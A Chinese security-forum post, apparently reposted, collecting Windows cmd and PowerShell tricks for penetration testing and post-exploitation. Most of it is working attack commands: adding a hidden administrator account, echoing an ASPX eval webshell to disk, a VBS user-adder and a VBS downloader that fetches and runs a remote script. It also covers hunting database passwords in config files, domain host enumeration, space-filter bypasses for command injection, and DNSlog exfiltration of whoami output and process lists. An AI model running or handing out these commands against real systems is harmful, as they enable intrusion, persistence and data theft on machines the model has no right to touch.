安全矩阵

 找回密码
 立即注册
搜索
查看: 2381|回复: 0

Windows命令行下常用渗透技巧

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-28 14:46:34 | 显示全部楼层 |阅读模式
原文链接:Windows命令行下常用渗透技巧

0x01 前言
渗透测试中无论是打点,还是后渗透,多多少少都会用到命令行下的一些技巧以达到快速拿到目标主机权限和绕过一些安全防护功能等。其实在cmd和powershell下只要灵活运用就能满足大部分渗透需求,主要还是看你遇到什么样的场景,需要完成什么需求,达到什么样的效果?
当然,这里笔者也只是将以前自己常用到的,以及在看各位师傅文章中学到的技巧搜集整理在一起分享给大家,希望对大家能有所帮忙,有时间再做补充,也期待各位师傅的补充!!!如有错误,还望指出!!!

0x02 利用|/&管道符执行多条命令
应用场景:常用于查找远程桌面端口号、异常网络连接以及添加管理员用户等。

  1. netstat -ano | findstr "ESTABLISHED"
  2. net user 90sec 123456 /ad & net localgroup administrators 90sec /ad
复制代码



0x03 利用^转义符解决<>字符问题
应用场景:常用于写入Webshell木马文件时对<>、&等特殊字符的转义,不加写不了。

echo ^<%@Page Language="Jscript" validateRequest="false"%^>^<%Response.Write(eval(Request.Item["w"],"unsafe"));%^> > c:\Users\3had0w\Desktop\ok.aspx

0x04 利用dir/for等命令查找网站路径
应用场景:常用于内网信息搜集查找铭感文件和内容,也可根据文件名、扩展以及内容来查找文件所在位置绝对路径,如:1.网站路径和数据库连接文件、2.被黑灰产修改过的(跳转)脚本文件等。

  1. dir /a/b/s D:\web\*.asp
  2. where /r D:\web\ *.php *.asp
  3. for /r D:\web\ %i in (*.php *.asp) do @echo %i
  4. %windir%\system32\inetsrv\appcmd list VDIR

  5. findstr /n /s /i "uid=sa" E:\ftp_bak\*.config
  6. findstr /n /s /i "DB_PWD" D:\www\*.php
复制代码




0x05 利用:冒号将VBS脚本代码写在一行
应用场景:常用于命令行下写入Webshell木马、VBS添加用户、下载者等恶意脚本,>创建,>>叠加,注意2、4、8、9行中的&管道符,也要用^转义下才能正常写入。

  1. echo set wsnetwork=CreateObject("WSCRIPT.NETWORK") > C:\adduser.vbs
  2. echo os="WinNT://"^&wsnetwork.ComputerName >> C:\adduser.vbs
  3. echo Set ob=GetObject(os) >> C:\adduser.vbs
  4. echo Set oe=GetObject(os^&"/Administrators,group") >> C:\adduser.vbs
  5. echo Set od=ob.Create("user","betasec") >> C:\adduser.vbs
  6. echo od.SetPassword "pass!@#!23" >> C:\adduser.vbs
  7. echo od.SetInfo >> C:\adduser.vbs
  8. echo Set of=GetObject(os^&"/betasec",user) >> C:\adduser.vbs
  9. echo oe.add os^&"/betasec" >> C:\adduser.vbs
复制代码



0x06 利用>/>>重定向符叠加写入VBS
应用场景:常用于MSSQL高权限注入点写入VBS脚本文件,一行一行写过于繁琐。VBScript可以在一行代码内同时对两个变量进行赋值,中间用冒号分隔即可,脚本可正常执行。

echo Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell")ost.Open "GET","http://127.0.0.1/adduser.txt",0 ost.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:\adduser.vbs",2:wscript.sleep 1000:Shell.Run ("c:\adduser.vbs") > c:\down.vbs

0x07 利用for命令探测工作组/域存活主机
应用场景:常用于探测工作组和域内存活主机,用的是Ping命令,基于ICMP协议,但如果禁Ping时该方法则无效,利用此方法在实际应用中可能需要做少许修改:内网IP或网段。
直接在命令终端回显:

@for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | findstr /i "ttl="


将存活主机写入到文件:

  1. @for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | findstr /i "ttl=" >nul & if errorlevel 1 (echo 192.168.1.%i May be sleeping ! >> result.txt) else (echo 192.168.1.%i is alive ! >> result.txt)

  2. 查看扫描后的存活主机:
  3. type result.txt | findstr "alive"
复制代码



工作组/域内存活主机探测:
​​
这个批处理文件可用于对内网工作组和域内存活主机进行简单的扫描探测,并且支持中英文操作系统。

  1. @echo off
  2. @echo.
  3. @FOR /F "usebackq delims=, " %%J IN (`net view /domain ^|find "命令成功完成" /v ^|find "The command completed successfully." /v ^|find "命令成功完成" /v ^|find "--" /v ^|find "Domain" /v ^|find "" /v ^|find "コマンドは正常に終了しました" /v /i`) do (
  4. @echo ====== Domain:%%J =========
  5. @FOR /F "usebackq eol=; delims=, " %%i in (`net view /domain:%%J ^|findstr "\"`) do (
  6. @FOR /F "usebackq eol=; tokens=1,2,3* delims=\" %%a in (`@echo %%i`) do (
  7. ping %%a -4 -n 1 -w 100 |find /i "ping" > %%a.txt
  8. @FOR /F "tokens=2 delims=[]" %%b in (%%a.txt) do @echo \\%%a = [%%b]
  9. @del /f /q %%a.txt
  10. )))
  11. @echo ====== Getting IP Complete ======
复制代码



0x08 利用符号或者环境变量截取绕过空格
应用场景:常用于命令执行漏洞绕过,在代码层面或安全防护中过滤了空格,也就是在执行命令时不能带有空格,最近几天在几个群里都看到有人讨论这个问题,也属常见问题。
特殊符号:记一次“上传”命令执行的绕过案例

  1. echo.123>>a.txt
  2. echo,123>>a.txt
  3. type;a.txt
  4. [...SNIP...]

  5. &cd;..&cd;..&cd;windows&cd;system32
  6. &cd;..&cd;1631359215&cs.jpg&.jpg
  7. [...SNIP...]
复制代码



环境变量:命令注入靶场空格过滤绕过测试

  1. %path:~10,1%
  2. %programfiles:~10,1%
  3. %processor_identifier:~7,1%
  4. %commonprogramw6432:~10,1%
  5. %commonprogramfiles(x86):~10,1%
  6. %commonprogramfiles:~10,1%
  7. %commonprogramfiles:~10,-18%
  8. %commonprogramfiles:~23,1%
  9. %fps_browser_app_profile_string:~8,1%
  10. [...SNIP...]
复制代码
​​


0x09 利用dnslog查看注入点执行命令结果
应用场景:常用于探测目标主机的DNS协议是否能够出网,或者是在高权限注入无回显时也可以通过dnslog来将命令执行结果带出,如:查看当前用户和进程列表等。
探测DNS出网状态:

  1. ping ******.dnslog.cn
  2. nslookup ******.dnslog.cn
  3. <?php gethostbyname("******.dnslog.cn");?>
复制代码



查询当前用户权限:

  1. for /F %i in ('whoami') do nslookup %i.lr5dyr.dnslog.cn

  2. cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.ly9hvm.dnslog.cn && nslookup !FINAL!" && del temp*
复制代码



0x10 利用dnslog查看目标主机的杀毒软件
应用场景:用于MSSQL高权限注入,目标主机不出网,但想利用dnslog探测主机中是否有杀软?两种方法原理一样,都是先获取进程列表,然后for、ForEach循环Ping、nslookup通过dnslog带出来。

  1. for /F %i in ('wmic process get Name ^| findstr ".exe"') do ping -n 1 %i.******.dnslog.cn >nul

  2. powershell -c "Get-Process | select processname > 1.txt"
  3. powershell -c "Get-Content .\1.txt | Sort-Object -Unique | ForEach-Object {if($_ -match $regex){$b=$_.trim();ping -n 1 $b'.***fks2j.ns.dns3.cf.'} }"

复制代码





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 00:18 , Processed in 0.016143 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表